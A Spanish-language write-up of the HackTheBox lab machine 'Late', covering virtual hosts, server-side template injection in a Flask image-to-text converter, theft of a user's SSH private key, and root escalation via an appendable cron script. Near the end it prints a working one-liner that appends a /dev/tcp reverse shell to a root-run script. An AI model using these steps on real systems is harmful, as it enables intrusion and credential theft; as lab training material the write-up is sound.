Posts HackTheBox - Late
Post
Cancel

HackTheBox - Late

1

Introducción

En este write up de la máquina Late, veremos temas como:

  • Host Virtuales
  • Explotación de SSTI (Server Side Template Injection)
  • Escalación de privilegios vía cronjobs

Reconocimiento

Primero vamos a ejecutar un escaneo con la herramienta Nmap con el siguiente comando:

1
nmap -sS -sV -T4 -vvv -n -oA nmap_scan late.htb

La razón por la cual se ve un late.htb es porque convertí la IP de HTB a un dominio llamado así, igualmente esto se explicará más adelante.

1

Podemos observar dos puertos abiertos, sin embargo intenté buscar si habían exploits para esas versiones pero no se pudo encontrar nada, a excepción de SSH que existen unos scripts para enumerar usuarios pero no creo que la máquina vaya por ahí. Así que vamos a examinar el puerto 80 que corresponde a HTTP, por ende, es un sitio web el cual encontramos esto:

1

Ahora debemos examinar la página detenidamente y podemos encontrar en la parte de abajo de la página, un texto resaltado en azul:

1

Si clickeamos el texto azul, nos redirige a lo que parece ser un dominio, pero parece ser inválido.

1

¿Por qué ocurre esto?

Esto se debe a que en realidad es un host virtual, el cual actúa como “subdominio” dentro de una máquina host para que se parezca a varias máquinas host, no obstante, a continuación explicaré en detalle como es su funcionamiento y donde debemos configurarlo para que el dominio images.late.htb sea accesible.

Si ya sabes como funciona un host virtual y como configurarlo, puedes saltarte este paso.

Explicación Hosts Virtuales

El virtualhost, o servidor virtual, es una forma de alojamiento web que permite que varias páginas web puedan funcionar en una misma máquina. Hay dos tipos de virtualhost:

1
2
3
Los que se basan en direcciones IP, donde cada página web tendrá una IP diferente.

Los que se basan en nombres de dominio, donde una sola dirección IP funcionan varias páginas web.

Aunque el navegador tendrá que diferenciar el tipo de virtualhost a la hora de gestionar la petición, la elección de una u otra no tiene ningún efecto para el usuario.

Ya que cada host virtual posee un nombre lógico de DNS, debemos configurar la IP de la máquina en conjunto con el nombre al dominio el cual queremos enlazar.

¿ Donde se configura el host virtual ?

Existe un archivo dentro de Linux llamado “hosts”, que se encuentra en la carpeta /etc y es extremadamente útil, ya que, almacena nombres de host con sus correspondientes direcciones IP. Con él se define qué nodos activan el nombre de host en una red. Al convertir los nombres de hosts en direcciones IP numéricas, el archivo hosts se convierte en una herramienta elemental de los protocolos de red, ya que solo puede trabajar con ellas. El archivo hosts se encuentra en todos los sistemas operativos de PC, Mac y dispositivos móviles, y solo pueden modificarlo los administradores del sistema. Cada vez que se quiere acceder a una página web, el equipo revisa primero el archivo hosts por si hubiera una entrada que le corresponda o una regla definida.

Con la información anteriormente mencionada, vamos a configurar la IP de la máquina en nuestro hosts, ubicado en /etc/hosts:

Ejecutamos el comando:

1
sudo nano /etc/hosts/

1

Luego tendríamos que añadir la IP de la máquina, en conjunto con el dominio images.late.htb

1

Como se puede observar en mi archivo hosts, ya tengo un dominio llamado “late.htb” asociada a esta IP, esto lo hago debido a que es mucho más sencillo tener que escribir un nombre de DNS que la IP de esta, para escaneos, enumeraciones, etc.

Obteniendo Acceso

Luego de configurar nuestro host virtual, ya podríamos acceder al dominio:

1

Lo primero que vemos es que aparentemente es un convertidor de imagen a texto que utiliza flask. Pero antes de explorar diversas formas de explotar este servicio, debemos examinar como funciona, que tipo de archivos acepta y que filtros posee para estos archivos.

Subimos una imagen con un texto, en mi caso será “Hola que tal Nico”

IMPORTANTE: Puede que no resulte a la primera ya que el sistema es muy sensible con el tipo de fuente y tamaño de esta. Así que hay que ir probando hasta que salga, yo lo hice en LibreOffice WriterFuente: Liberation Mono Tamaño: 36 pt

1

Luego clickeamos en “Scan Image” y nos devuelve un archivo llamado results.txt que contiene lo siguiente:

1

Ahora sabemos que la aplicación procesa una imagen que contenga texto y la convierte a texto plano, para luego devolverla en un archivo llamado “results.txt” con sintáxis HTML. Indagando que es Flask, se puede obtener información de que es un framework hecho en Python que a su vez, funciona como wrapper para servicios tales como Jinja, que son utilizados como motor de plantilla para la presentación de datos dinámicos dentro de las aplicaciones web.

Buscando información acerca de explotación de motores de plantilla, podemos encontrar una vulnerabilidad llamada SSTI (Server Side Template Injection) o en español “Inyección de plantillas del lado del servidor”. Esta vulnerabilidad se aprovecha de una implementación insegura de un motor de plantillas permitiendo atacar directamente los componentes internos de un servidor web objetivo, ya sea para exfiltrar datos u obtener ejecución de código remoto.

Para poder detectar si existe esta vulnerabilidad, debemos inyectar un comando para que el sistema lo procese y devuelva el resultado en el archivo de salida, eso si, no hay que confundir este ataque con una vulnerabilidad XSS. Pero de igual manera es fácil diferenciarlo ya que utilizaremos una operación matemática para la inyección.

Vamos a hacer el mismo proceso que el anterior, pero ahora le añadiremos un comando que contenga una multiplicación matemática entre dos simbolos de llaves:

1

Lo volvemos a escanear y nos devuelve esto:

1

Listo! tenemos una vulnerabilidad SSTI, ya que pudo procesar nuestro problema matemático y devolvió el resultado dentro del archivo “results.txt”. Ahora tenemos que ver como podemos tomar ventaja de este fallo, para que en vez de resolver problemas matemáticos nos devuelva por ejemplo información que está dentro del sistema.

Dentro de los articulos de Hacktricks podemos encontrar diversas formas de explotar esta vulnerabilidad, pero nosotros solo necesitamos los comandos para inyección dentro del motor de plantilla de Jinja. Igualmente les dejo otro articulo donde se explica mejor como construir nuestro comando para posterior inyección SSTI2

Escaneamos la imagen que tiene nuestra carga útil y nos va a listar lo que hay dentro de /etc/passwd:

1

Y nos devuelve el siguiente resultado:

1

Hay un usuario que nos llama la atención llamado “svc_acc” y se ubica en /home/svc_acc.

Como recordaremos, el puerto 22 correspondiente a SSH está habilitado, por ende, si podemos exfiltrar contenido dentro de /etc/passwd, ¿Por qué no exfiltrar la llave privada para poder autenticarse via SSH?

Ahora ejecutamos el mismo proceso, pero reemplazando el comando por el siguiente:

1

Y nos devuelve la llave:

1

Ahora nos vamos a nuestra máquina, creamos un archivo que se llame “id_rsa” y pegamos la llave ahí dentro, para luego aplicar los permisos correspondientes con el comando chmod 600 id_rsa y nos conectariamos al servidor con el usuario svc_acc.

1

Escalando Privilegios

Ya que tenemos nuestro acceso inicial, ahora podemos ir probando distintas técnicas de escalación de privilegios. La herramienta que utilizaremos se llama Pspy y su función principal es monitorizar los procesos que se están ejecutando en el sistema, sin necesidad de ser root.

Vamos a descargar esta herramienta en nuestra máquina, luego iniciaremos un servidor local con el comando python3 -m http.server y después en la máquina víctima nos dirigimos al directorio “/tmp” y descargamos el archivo con el comando wget.

1

Le brindamos los permisos adecuados con el comando chmod +x pspy64 y ejecutamos.

1

Podemos observar que hay un cronjob en el PID número 2602 y que posee un UID=0 que quiere decir que lo ejecuta root, veamos para que sirve este archivo.

1

Este script lo que hace es dar una alerta cada vez que alguien establece una conexión via SSH, pero realmente no importa el contenido de este script. Esto sin duda da una posibilidad para inyectar una shell reversa, sin embargo, no tenemos permiso para editar este archivo.

Vamos a utilizar el comando lsattr que permite listar los atributos asignados a los ficheros de un sistema Linux.

1

Aunque no podamos escribir normalmente dentro del archivo, si estamos permitidos para adjuntar archivos a este. Esto quiere decir que podemos crear otro archivo con nuestra shell reversa y adjuntarlo a ssh-alert.sh.

A continuación les voy a compartir una línea de comando la cual puede hacer esta tarea solo con ejecutarla, lo único que hay que modificar en el comando es la IP de la shell reversa.

1
touch archivo.txt && echo "sh -i >& /dev/tcp/10.10.14.7/1337 0>&1" >> archivo.txt | cat /home/svc_acc/archivo.txt >> /usr/local/sbin/ssh-alert.sh

1

Lo que hace este comando es crear un archivo llamado “archivo.txt”, para luego hacer un echo de la shell reversa a este mismo archivo y por último ejecuta un cat al archivo y envía el contenido de este a ssh-alert.sh, que se agregaría al final del script mencionado anteriormente.

Ponemos nuestro netcat a la escucha en el puerto 1337:

1

Y listo, ya somos root ;)

This post is licensed under CC BY 4.0 by the author.